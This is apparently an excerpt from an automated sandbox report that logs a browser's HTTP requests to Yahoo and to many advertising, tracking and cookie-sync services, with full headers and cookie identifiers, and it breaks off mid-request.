Source: global traffic	HTTP traffic detected: GET /cksync.php?type=mf&ovsid=20ed5203-3644-4449-ae7b-5e053499d8b1&cs=1 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8
Source: global traffic	HTTP traffic detected: GET /sp/v0/pixels?gdpr=false&euconsent=&us_privacy=1YNN&gpp=DBAA&gppSid=-1&referrer=https%3A%2F%2Fopus.analytics.yahoo.com%2Ftag%2Fopus-frame.html%3Freferrer%3Dhttps%3A%2F%2Fwww.yahoo.com%2F%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1 HTTP/1.1Host: service.idsync.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"
Source: global traffic	HTTP traffic detected: GET /cksync.php?gpp=&gpp_sid=&gpp=&gpp_sid=&cs=1&vsid=3479308310180275000V10&type=idx&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/cA2iZe.B78wjQSwfOu6Qhw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190108/500x500/loyola_maryland_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-Dap6dMlE2uJjvcyESihgqS2ruuPsXZby~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&us_privacy=1YNN HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Csyn%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
Source: global traffic	HTTP traffic detected: GET /track/cmf/casale HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgAigCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgAigCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=05885541380958628422864466641451014575; dpm=05885541380958628422864466641451014575
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=ayl&refUrl=&vid=49292349683479308310180275000V10&ovsid=80df0390ac1a08301112e6851cc561f4&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/u6_Mg2dDzQ2NMpEQ1NvaMQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181228/500x500/army_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&rn=9.953686578481904 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2&rn=9.953686578481904 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEPI9hVJH5w22DLuOR_CuGrs&google_cver=1 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=casale_media2_dbm&google_cm&google_sc&google_hm=ZZ8n1IPpYMLwQL-F1CLawgAA HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=16Db496f6ca59f87c3dafa11704929235
Source: global traffic	HTTP traffic detected: GET /ju/cs/eplist?tn=41b6e88a2b85b0e731ef8e73e5558712&dm=https%253A%252F%252Fcdn.mediago.io&mcb=mmgg_1704929238126_388 HTTP/1.1Host: gtrace.mediago.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cdn.mediago.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=156078&xid=y-QoGBxapE2uVcxYncQGfqtzmJ2fkSj78-~A&gdpr=0 HTTP/1.1Host: image4.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=97973536&p=156078&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=3448363400861391&correlator=2735517657550639&eid=31080125%2C31080256%2C95320408%2C31079784%2C31080127%2C31079527%2C31061691%2C31061692%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202401030101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_right%2Cus_yhp_main_dt_as_mid_right_a%2Cus_yhp_main_dt_top_center%2Cus_yhp_main_dt_as_mid_right_b%2Cus_yhp_main_dt_as_mid_right_c&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8%2C%2F0%2F1%2F2%2F3%2F4%2F9&prev_iu_szs=300x250%7C300x600%2C300x250%2C970x250%7C3x1%7C728x90%2C300x250%2